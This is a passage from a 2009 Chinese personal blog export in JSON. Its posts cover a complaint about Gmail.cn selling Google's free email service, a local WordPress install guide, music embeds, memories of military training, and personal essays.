在2004年google推出Gmail时，Gmail.cn的域名已经被爱思美公司注册了。虽然，同样是邮箱服务，但是此Gmail非彼Gmail。 爱思美（ISM）和Gmail.cn简介： 爱思美中国是中国最大的互联网服务供应商之一，目前为国内超过十万的用户提供域名注册及网站服务。作为最大的CNNIC授权的全球域名注册商之一，爱思美中国提供全套综合式互联网服务，主要包括：域名注册及管理、虚拟主机、网站建设、企业邮箱、博客、宽频播客、大头贴、相册、交友等以及数字认证等服务。 2001年9月爱思美中国与互联网域名体系最高管理机构(ICANN)达成合作，2002年1月成为CN域名最高管理机构CNNIC认证的注册商,是中国最大的提供国际顶级域名（gTLDs）、国家域名(ccTLDs)注册服务商。爱思美中国为用户提供7天24小时的技术支持，免费的域名转发、电子邮件转发、域名解析服务以及用户管理后台等配套式服务。 爱思美中国多年的服务经验，建立起强大的技术服务体系。2003年爱思美中国与CNNIC正式签订了战略性技术合作协议，同年与CNNIC以及搜狐、网易,百度,腾讯（QQ）等国内知名互联网厂商联合推出《关键词网络定位服务解析协议规范》。 爱思美中国企业邮箱以及Gmail具有品牌的电子邮箱服务，为用户提供各种解决方案并支持多种收发方式(POP, WebMail)，以及病毒防护和邮件转发功能。邮件防护包括：反垃圾邮件，防病毒以及邮件服务器软硬件防护，并提供后台管理等功能。其中Gmail.cn是国内最具盛名的电子邮件系统之一，该电子邮件系统拥有国家专利技术，符合IETF国际标准，并支持全球大多数语言，以其超强的反垃圾、防病毒功能，管理便捷、安全可靠，信件传输稳定，同时支持中文电子邮件地址，支持中文域名和通用网址。 \u003c/span\u003e\u003c/div\u003e\r\n\u003cdiv style=\"PADDING-LEFT: 30px\"\u003e \u003c/div\u003e\u003c/blockquote\u003e\r\n\u003c/li\u003e\r\n\t\u003cli\u003e\r\n\u003cdiv style=\"PADDING-LEFT: 90px\"\u003e　\u003cspan style=\"color: #0000ff;\"\u003eGmail中国的李鬼【爱思美（北京）信息科技有限公司】Googlemail的免费邮箱收费谋取非法利益\r\n　我是一个普通的gmail.com邮箱用户，感觉gmail.com邮箱非常好用。所以也打算申请个作用工作邮箱。\r\n　误打误撞进入gmail.cn （其实gmail.cn和gmail.com ，不是一个公司。前者为爱思美（北京）信息科技有限公司，后者才是正宗的google mail ）， 当时我还不知道两个网址有什么不同，就进去花了　　　1300　　圆，买了650圆/年，两年的服务。服务网址为\u003c/span\u003e\u003ca href=\"http://www.1997.cn/promotion/gmailEnter.html\"\u003e\u003cspan style=\"color: #0000ff;\"\u003ehttp://www.1997.cn/promotion/gmailEnter.html\u003c/span\u003e\u003c/a\u003e\r\n\u003cspan style=\"color: #0000ff;\"\u003e　等到gmail.cn给我开通后， 我才发现，他所谓的收费企业邮箱，就是gmail.com的免费企业套件。\r\n　然后打电话给他们的客服人员王娜小姐联系，对方又想忽悠我一番，说什么你买了我的服务，享受我的技术和指导，享受99.9%稳定率之类的话。 又说你花钱了百花，我们不退钱。\r\n　各位网友注意了， Gmail.cn是个不折不扣的李鬼，他非法收取客户费用，然后再在gmail.com上面开设个免费标准版企业邮箱给你使用。还口口声声说他们就是gmail.com的销售商\r\n　这好比，你到户外去放风筝， 有人过来说风是他吹过来的，收你650圆一次的起风费。\r\n　我要拿回被Gmail中国的李鬼【爱思美（北京）信息科技有限公司】 骗去的钱！！\u003c/span\u003e\u003c/div\u003e\u003c/li\u003e\r\n\u003c/ul\u003e\r\n\u003ctable border=\"0\" cellspacing=\"0\" width=\"100%\" bgcolor=\"#f5f9fa\"\u003e\r\n\u003ctbody\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100\" align=\"right\" valign=\"bottom\"\u003e                                     \u003c/td\u003e\r\n\u003ctd\u003e\u003cspan style=\"color: #008000;\"\u003e这下子，弄的谷歌是郁闷无比了吧，嘿嘿，谁叫那Gmail中国这小妮子比Google大哥早一年就把这个域名注册了呢！不过谷歌也慢的可以，中国这么大的市场，等别人把自己的域名都注册完了才进驻，我都对它无语了。谷歌谷歌，还是慢了一拍哦！\u003c/span\u003e\u003c/td\u003e\r\n\u003ctd width=\"150\" align=\"right\" valign=\"bottom\"\u003e \u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003c/tbody\u003e\u003c/table\u003e\r\n\u003cp style=\"PADDING-LEFT: 30px\"\u003e \u003c/p\u003e","time":5,"title":"今天看到一个比较山寨的网址"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" ","count":0,"date":"2009年06月15日","featuredImage":null,"permalink":"https://imnerd.org/douban.html","summary":"\u003c!-- \n\u003cscript src=\"http://www.douban.com/service/badge/lizheming/?show=collection\u0026amp;select=random\u0026amp;n=20\u0026amp;columns=3\u0026amp;picsize=medium\u0026amp;hidelogo=yes\u0026amp;cat=movie|music|site\" type=\"text/javascript\"\u003e\u003c/script\u003e --\u003e","time":0,"title":"我的观影"},{"comments":{"data":[17],"errmsg":"","errno":0},"contents":"今天登录后台，居然提示2.8最新版本了，以前都不提示了，有点奇怪啊！嘿嘿，抱着尝试的心态在后台直接升级，没想到居然没到1分钟就提示升级成功了？！简直是太难以置信了，我的天啊！以前后台连插件升级都不可以的，都说是失败，现在怎么就可以了，郁闷，相当的郁闷啊！ 话说回来，升级到2.8之后，感觉好用多了，不管那里都很好用！呵呵，但2.7也不错的拉。推荐志言找个高人问问怎么升级吧，用起来不错的。想着升级了WP，就用下那个后台直接下载主题吧，于是就下到了现在的这个主题，好强大啊！我都快佩服的五体投地了，太强大了！暂时没空就汉化这个主题了，将就下用吧，我就不相信了，还有人到了我这儿连这几个英文单词都不认识？！嘿嘿，开玩笑开玩笑的拉。不过话说回来，我是不是得了系统癖了？怎么每次下的主题都跟操作体统搭架，无语ing......（还没换一下主题，就被安发现了，小小郁闷一下，唉！） 今天晚上考完了普地了，感觉相当的糟啊！背了那么多，居然一个都没有考到，考的全是我没看的，超级的郁闷啊！考的也比较的糟糕，估计就是比及格多点了。唉！人生如此，怎么办...... ","count":471,"date":"2009年06月15日","featuredImage":null,"permalink":"https://imnerd.org/official-upgrade.html","summary":"\u003cdiv style=\"text-indent: 2em\"\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e今天登录后台，居然提示2.8最新版本了，以前都不提示了，有点奇怪啊！嘿嘿，抱着尝试的心态在后台直接升级，没想到居然没到1分钟就提示升级成功了？！简直是太难以置信了，我的天啊！以前后台连插件升级都不可以的，都说是失败，现在怎么就可以了，郁闷，相当的郁闷啊！\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/div\u003e\n\u003cdiv style=\"text-indent: 2em\"\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e话说回来，升级到2.8之后，感觉好用多了，不管那里都很好用！呵呵，但2.7也不错的拉。推荐志言找个高人问问怎么升级吧，用起来不错的。想着升级了WP，就用下那个后台直接下载主题吧，于是就下到了现在的这个主题，好强大啊！我都快佩服的五体投地了，太强大了！暂时没空就汉化这个主题了，将就下用吧，我就不相信了，还有人到了我这儿连这几个英文单词都不认识？！嘿嘿，开玩笑开玩笑的拉。不过话说回来，我是不是得了系统癖了？怎么每次下的主题都跟操作体统搭架，无语ing......（还没换一下主题，就被安发现了，小小郁闷一下，唉！）\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/div\u003e\n\u003cdiv style=\"text-indent: 2em\"\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e今天晚上考完了普地了，感觉相当的糟啊！背了那么多，居然一个都没有考到，考的全是我没看的，超级的郁闷啊！考的也比较的糟糕，估计就是比及格多点了。唉！人生如此，怎么办......\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/div\u003e","time":1,"title":"正式升级！"},{"comments":{"data":[5],"errmsg":"","errno":0},"contents":"\n用音乐表达心情，\n用文字记录音乐！\n2009年7月13日\n二胡述说的，\n是你的忧伤，还是我的悲哀；\n钢琴的浪漫，\n止在了你别离的话前。\n2009年7月16日\n心似狂澜焰滔天，\r四肢百骸俱疲乏。\r辗转反侧难入睡，\n只求闻曲得一眠。 2009年7月20日\r面对现实，\n我们不杞人忧天，我们迎难直上，\n即使我们花费我们一生苍白的岁月，\n我们也觉不后悔，因为过程是甜美的，\n而我，却不在乎结果，\n因为，我努力了。\n我明白，任何时候，我们都要坚强……\n2009年9月14日\r听听小曲儿，陶冶陶冶情操，报告也好写点，嘿嘿！\n2009年10月6日\n其实我明白：大家留下的，是美好的回忆。我总是不愿意相信这样的分离，想象着最后走到一起才是最完美的幸福。\r2009年10月15日\n2009年12月24日\n一首我要的飞翔，分享给大家，希望大家快快乐乐！\n","count":340,"date":"2009年06月15日","featuredImage":null,"permalink":"https://imnerd.org/music.html","summary":"\u003cp\u003e\u003cembed src=\"http://disk.kugou.com/player/listid/0/0/333399/221/7EBAC10351313F35/list.swf\" AllowScriptAccess=\"always\" id=\"KugouPlayer\" FlashVars=\"\" quality=\"high\" width=\"221\" height=\"214\" name=\"KugouPlayer\" align=\"middle\" type=\"application/x-shockwave-flash\"  wmode=\"transparent\" \u003e\u003c/embed\u003e\u003c/p\u003e\r\n\u003cp style=\"text-align: center;\"\u003e\r\n\u003c/p\u003e\u003cp style=\"text-align: center;\"\u003e\u003cobject classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"400\" height=\"330\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"\u003e\u003c/object\u003e\u003c/p\u003e\r\n\u003cparam name=\"src\" value=\"http://8box.cn/feed/400_000000_list_306248_3/radio.swf\" /\u003e\r\n\u003cparam name=\"wmode\" value=\"transparent\" /\u003e\u003cembed type=\"application/x-shockwave-flash\" width=\"400\" height=\"330\" src=\"http://8box.cn/feed/400_000000_list_306248_3/radio.swf\" wmode=\"transparent\"\u003e\u003c/embed\u003e\r\n\u003cp style=\"text-align: center;\"\u003e\u003cspan style=\"align:center\"\u003e\u003cspan style=\"font-size:32px\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e \u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\r\n\u003cp style=\"text-align: center;\"\u003e\u003cspan style=\"align:center\"\u003e\u003cspan style=\"font-size:32px\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"color: #0000ff;\"\u003e用音乐表达心情，\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\r\n\u003cp style=\"text-align: center;\"\u003e\u003cspan style=\"align:center\"\u003e\u003cspan style=\"font-size:32px\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"color: #0000ff;\"\u003e用文字记录音乐！\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":1,"title":"音乐"},{"comments":{"data":[16],"errmsg":"","errno":0},"contents":"这些天突然发现现在的这个主题还不是很好看啊，找了另外一个主题，居然发现它对中文的支持超级差！改了也没有用，于是就考虑本地来修改。本地修改吧，那肯定要本地模拟服务器才行，网上这样的软件一大把，XAMPP, PHPStudy, EasyPHP......但是不知道怎么搞的，我的电脑装XAMPP老错，EasyPHP也是，郁闷死我了。到论坛搜了下，发现另外一个傻瓜式的，BitNami,真的很傻瓜呢，连WP都帮你装好了。好了，不多说了，这个是下才地址：\rhttp://bitnami.org/stack/wordpress（注意选择自己要下的版本，我的是Windows下的WP）\r第一步当然是安装拉，期间会让你输入博客登录的用户名，密码等，这里面好像用户名和那个user name只能填一个样的，我填了两个就报重复。然后会让你选择断口，原来的80端口不行，会让你改（不知道你们是怎么样的，我这里是这样的），我这里改的是255，然后是等待安装，时间可能比较的长，要耐心，嘿嘿。\r开始－程序－BitNami Wordpress Stack－Launch BitNami Wordpress Stack\r出现一个网页，点击Access BitNami Wordpress Stack\r好了，已经进入你的本地WP博客了，接下来就看你们自己做了。\rPS: WP的安装路径是在：C:\\Program Files\\BitNami WordPress Stack\\apps\\wordpress\\htdocs\r(假设BitNami安装在C:\\Program Files下)\r加载主题和插件什么的都和服务器上是一样的。\r对了，如果是Vista的用户最好设置下htdocs文件夹的权限，嗯，不管了，大开就行了！要不然你复制个东西老弹出个对话框多麻烦啊！呵呵\r（嘿嘿，趁此品尝了一下2.8的味道，不错不错，改主题去喽！）\rPS:经过我的长期测试，BitNami在初次安装时显得特别迅速，但是在重启系统后就会显得特别特别慢，甚至打不开网页的情况，或者是删减版的网页，所以加上删除线，以示大家，免得大家被我误导了，下了不好用的东西。\n","count":772,"date":"2009年06月14日","featuredImage":null,"permalink":"https://imnerd.org/local-install-wp.html","summary":"\u003cdiv style=\"text-indent: 2em\"\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e\u003cspan style=\"text-decoration: line-through;\"\u003e这些天突然发现现在的这个主题还不是很好看啊，找了另外一个主题，居然发现它对中文的支持超级差！改了也没有用，于是就考虑本地来修改。本地修改吧，那肯定要本地模拟服务器才行，网上这样的软件一大把，XAMPP, PHPStudy, EasyPHP......但是不知道怎么搞的，我的电脑装XAMPP老错，EasyPHP也是，郁闷死我了。到论坛搜了下，发现另外一个傻瓜式的，BitNami,真的很傻瓜呢，连WP都帮你装好了。好了，不多说了，这个是下才地址：\u003c!-- m o r e --\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/div\u003e\r\n\u003cdiv style=\"text-indent: 2em\"\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e\u003ca href=\"http://bitnami.org/stack/wordpress\"\u003e\u003cspan style=\"text-decoration: line-through;\"\u003ehttp://bitnami.org/stack/wordpress\u003c/span\u003e\u003c/a\u003e\u003cspan style=\"text-decoration: line-through;\"\u003e（注意选择自己要下的版本，我的是Windows下的WP）\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/div\u003e\r\n\u003cdiv style=\"text-indent: 2em\"\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e\u003ca href=\"http://picasaweb.google.com/secretlzm007/2?locked=true#5347094278273745874\"\u003e\u003cspan style=\"text-decoration: line-through;\"\u003e\u003cimg src=\"https://imnerd.org/assets/migration/lh6.ggpht.com/_A_ONO3v5Of8/SjSx6n0Hw9I/AAAAAAAAA7U/AARTSkk8ghI/s800/bitnami.jpg\" alt=\"bitnami.jpg\" width=\"516\" height=\"223\" /\u003e\u003c/span\u003e\u003c/a\u003e\u003cspan style=\"text-decoration: line-through;\"\u003e \u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/div\u003e\r\n\u003cp style=\"text-indent: 2em\"\u003e\r\n\u003cdiv style=\"text-indent: 2em\"\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e\u003cspan style=\"text-decoration: line-through;\"\u003e第一步当然是安装拉，期间会让你输入博客登录的用户名，密码等，这里面好像用户名和那个user name只能填一个样的，我填了两个就报重复。然后会让你选择断口，原来的80端口不行，会让你改（不知道你们是怎么样的，我这里是这样的），我这里改的是255，然后是等待安装，时间可能比较的长，要耐心，嘿嘿。\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/div\u003e\r\n\u003cdiv style=\"text-indent: 2em\"\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e\u003ca href=\"http://picasaweb.google.com/secretlzm007/2?locked=true#5347097442744757442\"\u003e\u003cspan style=\"text-decoration: line-through;\"\u003e\u003cimg src=\"https://imnerd.org/assets/migration/lh3.ggpht.com/_A_ONO3v5Of8/SjS0y0YzbMI/AAAAAAAAA7c/lWXB39KQe84/s800/%E5%A1%AB%E5%86%99%E8%B4%A6%E6%88%B7.jpg\" alt=\"填写账户.jpg\" /\u003e\u003c/span\u003e\u003c/a\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/div\u003e\r\n\u003c/p\u003e","time":2,"title":"本地安装WP"},{"comments":{"data":[20],"errmsg":"","errno":0},"contents":"　呵呵，马上又要有新生来了，突然就让我想到了军训去了，晕呼呼。想到自己的军训，就把自己以前的军训感想贴出来喽，呵呵，又在搬老本过来，最近是越来越力不从心了。咳咳。过两天考完了在来个真正的更新。\n哦耶！军训终于完了！\n回到家的第一件事情就是把我那双烂的已经不能再烂的军鞋扔掉去，这也是军训结束的一种证明吧！就好像那高考完后有些学生把书扔掉是一样的。回想军训的这七天，就像是五味瓶打翻了的感觉。\n军训之俯卧撑：\n在我们排有一个人（后来知道他叫董晨），虽然很爱说笑，可是动作做的并不是很让教官满意，所以教官总是罚他。基本上他一天起码也要做20来个俯卧撑吧！所以俯卧撑的外号就不胫而走，结果到军训结束的时候还欠教官60个俯卧撑没有做呢！\n军训之第三号男人：\n提起这个人，就更令我好笑了。首先要声明的是，这么一个伟大的男人也是再我们排哦！为什么要叫他第三号男人呢？这个就有一段话了。他也是一个超级搞笑的人，但他的笑话不比俯卧撑，他的是相当的搞笑，基本上只要他一说话，我们整个排都会笑的前俯后仰（当然也包括我们的教官了）！然而他做起动作起来总是有精无力的，老是慢我们半拍，所以老是惹教官说，当然这个说就是半开玩笑的说了，而每次说完他，他总会做出个胜利的姿势（V字形手势），并且高兴的\u0026ldquo;OH~YEAH~!\u0026rdquo;一声，我们就给了OH~YEAH这个外号给他。结果他并不满意，居然自称自己是第三号男人！（可能是他站在第三号的原因吧！）他还把教官比作是威猛男人。有一次开教官的荤笑话，教官本想教训下他，结果他逃之夭夭。但是到训练的时候，教官就以一些\n奇奇怪怪的理由罚他做俯卧撑，比如不诚实就是一个。后来我们又送他个外号，叫俯卧撑二号。呵呵！真是好笑！\n军训之拉歌：\n好像是第三天晚上吧，就组织我们去拉歌了。地点就再东华广场。节目也没有什么，无非就是舞蹈武术之类的。比较新颖的还是我们排的舞台剧，那个长笛吹的真是不错，只是表演我没有看清楚。这些男的好像是千年没看过女的一样的，见到女队就呜呜呜的怪叫，平时训练也是，老是开些荤笑话，让我有些反感。\n军训之会操：\n会操是最后一天，是从每个排中选些人然后整个方阵代表这个营去踢分列式的。我很荣幸的被选中了，那个正步真的好难踢呀，我们练了好久还是没有达到教官的标准。会操的时候踢的还算马马虎虎吧，教官也没有说我们！嘿嘿！\n\u0026nbsp;\n军训令我怀念的还有很多，我会记着它的，我唯一的军训！\n","count":994,"date":"2009年06月12日","featuredImage":null,"permalink":"https://imnerd.org/thoughts-on-military-training.html","summary":"\u003cp style=\"text-align: center\"\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003c!-- m o r e --\u003e　　\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e\u003cspan style=\"font-size: 16px\"\u003e呵呵，马上又要有新生来了，突然就让我想到了军训去了，晕呼呼。想到自己的军训，就把自己以前的军训感想贴出来喽，呵呵，又在搬老本过来，最近是越来越力不从心了。咳咳。过两天考完了在来个真正的更新。\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"军训有感"},{"comments":{"data":[27],"errmsg":"","errno":0},"contents":"风扇转动的声音徐徐传入耳中，夏竟将自己的炎热送给了秋妹妹，使得这本应凉爽的天气里多了几许燥热。回想起昨天晚上的那个梦，自己竟苦笑不已。\nＶ和我是高中要好的同学，两人有说有笑，虽时常斗嘴，但这只是我们的一种交流方式，所以没有什么大事发生。高三那年，很多人都忙于高考，然而我们的友谊并没有因为高考而褪色，直到Ｌ的到来。Ｌ是我们班上文采比较好的一位，皮肤非常的白皙，与Ｖ相交甚欢，似乎都有一种相见恨晚的感觉。所以大家经常会看到他们两在一起，背地里就会说些\u0026ldquo;悄悄话\u0026rdquo;。虽然是闲言闲语，但必定不是空穴来风，而且作为Ｖ的朋友，我也有这种感觉---Ｌ是喜欢上Ｖ了。既然他们两在一起笑的那么开心，我想我也没有必要去当那个碍眼的电灯泡了，所以我于Ｖ的关系就这样淡了下来。虽然我们还是朋友，但我想，我们之间已经产生了一道永远也弥补不了的裂痕了。\n高考完后，我回了老家。有一次上ＱＱ时，偶然发现Ｖ也在，多日不见，准备与其海谈一番。开头先问了一句：\u0026ldquo;你考了多少分呀？\u0026rdquo;本想Ｖ成绩不错，高考自然不会差了。谁知Ｖ竟回一句：\u0026ldquo;我考多少关你什么事。\u0026rdquo;我自知Ｖ是考差了，说话造次了，便赶忙谦身谦语的对其说：\u0026ldquo;对不起，我不是有意的，我以后不会问了。\u0026rdquo;可能是Ｖ正在生气吧，竟然顺势就回了我句：\u0026ldquo;是啊！以后都别问了最好！\u0026ldquo;当时我的心里就不好受了，但我想Ｖ哪个人没有这个时候呢，就把所有的埋怨都往肚子里藏了。尔后的日子更是让我觉得太难过了。大概是过了两三天吧，我上ＱＱ时发现Ｖ竟然从我的好友里面\u0026rdquo;消失\u0026ldquo;了。开始还以为是不小心把它删掉了。可后来我想重新加Ｖ时，千百次的请求遭来的都是一次次无情的拒绝。我终于明白了事情的真相。后来索性连空间也设置了密码。将这些事都联系起来，心里的那股火油然而生。想着这不是摆明做给我看的嘛！竟为这样的小事迁怒于我，这样劳什子的情不要也罢了！我在心里恨恨的想着。从此，我就打心底的宣告我和Ｖ的友谊自此破裂。\n昨儿是十九号，想着明天是好友Ｍ的生日，昔日的欢声笑语全都在我的脑海中浮现出来。当然，我也想到了Ｖ。从那之后，我只知道Ｖ去复读去了，其它一概不知，真可谓是杳无音信。我在那里痴想：不知Ｖ过的怎么样了？希望她今年能考上心目中的理想大学吧！呵呵，看样子我还是忘不了Ｖ。不过也是，三年的友情怎能是我说忘就能忘的了的？古人都说\u0026ldquo;日有所思，夜有所梦\u0026ldquo;，这话果然一点都没有错。晚上我竟然梦到我和Ｖ打扮的像宝黛二人，两人和好如初，正和好友们一起嬉戏。。。。。。（至于为什么是宝黛二人，可能是我平时《红楼梦》看多了吧！）\n回想起来，只笑自己太痴了。既然裂了，已经是无可挽回的了，何必再去缝补了呢？那样反倒是不自然了。该来的还得来，该去的留也不中用。正道是：石头记记顽石，又托梦表真情。怪哉！怪哉！\n","count":1215,"date":"2009年06月09日","featuredImage":null,"permalink":"https://imnerd.org/yi-meng.html","summary":"\u003cp style=\"text-indent: 2em\"\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e风扇转动的声音徐徐传入耳中，夏竟将自己的炎热送给了秋妹妹，使得这本应凉爽的天气里多了几许燥热。回想起昨天晚上的那个梦，自己竟苦笑不已。\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":3,"title":"忆梦"},{"comments":{"data":[13],"errmsg":"","errno":0},"contents":"　各位实在是不好意思，由于这几天都比较的忙，所以没有及时的更新博客，也没有对留言进行回复。都是我们老班害的，一下给那么多的任务，郁闷死我了！下次叫他请吃棒棒糖。而且由于最近也实在是没有写什么东西，又不想随便抄抄就这样了事，就贴上几篇以前写的文章吧，可能文绉绉了点，实在是见谅！\n忍耐了一个月，安静了一个月，我终于还是爆发了。\n人际关系，这个词讲起来是多么的容易啊！可是又有多少人能全面掌握呢？反正我是没有掌握。我是一个喜欢独处的人。我喜欢一个人呆在家里，那种安静的感觉让我心醉；喜欢一个人在大街上乱逛，那种无拘无束地呼吸新鲜空气的感觉让我疯狂。所以，我压根就不想住在宿舍里，虽然在这个大集体里有过欢，有过笑，但更多的还是\u0026ldquo;见机行事\u0026rdquo;。我不擅长这个，也不想去擅长这个。我有时候能莫名其妙的就把一个人给惹火了，而自己却还不知道为什么。是我傻吗？显然不是，只是因为每个人的生活准则不同，在你看来无关痛痒的事情在他眼里可能重如泰山。有些人能够相处融洽是因为他们的生活准则相近，而我的生活准则则跟大部分人的都相差甚远。\n大学是半个社会，在这个社会里，友情已经不再像以前那样牢固了。大学里的有些友情可以在瞬间破裂，仅仅因为意见芝麻大小的事记得以前的一位高中同学Ｈ，那才叫真正的友情。你可以向它吐露任何自己的事情，快乐的、伤心的、痛苦的、难忘的\u0026middot;\u0026middot;\u0026middot;\u0026middot;\u0026middot;\u0026middot;一股脑儿的都抛向它，而它仅仅只是倾听，用心去倾听我的每一句话。然后分享我的快乐，承担我的痛苦。我迷茫时它会为我出谋划策、指点迷津，我悲痛欲绝时它会对我晓之以理动之以情，那种爽爽的感觉真叫人痴迷。我想我到了下辈子也不会忘了这份难得的友谊的。但是在大学里，这样的友情已经是寥寥无几了。由于大学与社会的接轨，要么友情升级为爱情，要么就转化为以\u0026ldquo;多个朋友多个照应\u0026rdquo;为基本思想来支持的友情。这些所谓的友情都已经失去了它们原本应该拥有的光华了。\n我不谙世故，不精通察言观色，时常会遭到别人的冷眼相待。我时常想，要是我能永远地呆在自己的空间里那该有多好啊！那样就不用天天见人，说着那些经过\u0026ldquo;心\u0026rdquo;想出来的话语，更不要用这样的言语去搪塞对方。我更是时常幻想，自己能找到一个渊明种菊那样的一方净土来逃离这个纷繁复杂的社会。\n这个社会是一个大染缸，进入里面的人都会被染成各种各样的颜色，而我，指向保留着自己的那份本性。\n当然，这些都是我个人的牢骚，有同感者看到之后切勿把我视为知音。因为保留本性这样的事，必定不是人力而能为之。为了生存，我们就必须融入社会。既然你不能改造社会，你就只有适应社会了所以，尽管我再怎么的不想与厌恶，我还是会被染色的。\n二〇〇八年十月二十一日星期二\n","count":1167,"date":"2009年06月09日","featuredImage":null,"permalink":"https://imnerd.org/slightly-talked-about.html","summary":"\u003cp\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e　　各位实在是不好意思，由于这几天都比较的忙，所以没有及时的更新博客，也没有对留言进行回复。都是我们老班害的，一下给那么多的任务，郁闷死我了！下次叫他请吃棒棒糖。而且由于最近也实在是没有写什么东西，又不想随便抄抄就这样了事，就贴上几篇以前写的文章吧，可能文绉绉了点，实在是见谅！\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":3,"title":"大染坊"},{"comments":{"data":[31],"errmsg":"","errno":0},"contents":"\u0026nbsp;\n早上自习的时候突然收到一条短信，是新闻报的，当时比较纳闷的是怎么不是彩信呢？打开一看，吓到了，罗京病逝了。这对我来说是比较突然的，在新闻联播里面看他很年轻的一个人啊，怎么好不好就病了呢，还走了呢，唉！看样子真的是病来如山倒啊，岁月，岁月\u0026hellip;\u0026hellip;不由得让我想起了以前说新闻联播换主持人的事情，我觉得罗京在新闻联播里面严肃沉稳的形象相当的适合当新闻联播的主持人，没必要换吧。只不过现在不得不换了，不知道会是谁坐在那里，期待今天晚上的新闻联播了。\n放几张罗京同志的照片吧，缅怀一下。\n罗京同志年轻时候的照片，看久了其实觉得罗京年轻的时候挺帅的！呵呵！\n看新闻联播还是觉得他们俩搭档最顺眼了！\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n老罗，一路走好！\n","count":313,"date":"2009年06月05日","featuredImage":null,"permalink":"https://imnerd.org/luo-jing-luo-jing.html","summary":"\u003cp class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt; text-align: center\" align=\"center\"\u003e\u0026nbsp;\u003c/p\u003e\r\n\u003cp class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: center\"\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16pt; font-family: 黑体\"\u003e\u003cimg style=\"width: 528px; height: 195px\" height=\"300\" alt=\"\" width=\"711\" src=\"http://msn.ent.ynet.com/img.db?52403940+s(960)\" /\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\r\n\u003cp class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt; text-indent: 21pt\"\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16pt; font-family: 黑体\"\u003e\u003c!-- m o r e --\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\r\n\u003cp class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt; text-indent: 21pt\"\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16pt; font-family: 黑体\"\u003e早上自习的时候突然收到一条短信，是新闻报的，当时比较纳闷的是怎么不是彩信呢？打开一看，吓到了，罗京病逝了。这对我来说是比较突然的，在新闻联播里面看他很年轻的一个人啊，怎么好不好就病了呢，还走了呢，唉！看样子真的是病来如山倒啊，岁月，岁月\u003cspan lang=\"EN-US\"\u003e\u0026hellip;\u0026hellip;\u003c/span\u003e不由得让我想起了以前说新闻联播换主持人的事情，我觉得罗京在新闻联播里面严肃沉稳的形象相当的适合当新闻联播的主持人，没必要换吧。只不过现在不得不换了，不知道会是谁坐在那里，期待今天晚上的新闻联播了。\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"font-size: 16pt; font-family: 黑体\"\u003e\u003cspan lang=\"EN-US\"\u003e\u003co\u003e\u003c/o\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":1,"title":"罗京，罗京！"},{"comments":{"data":[20],"errmsg":"","errno":0},"contents":"　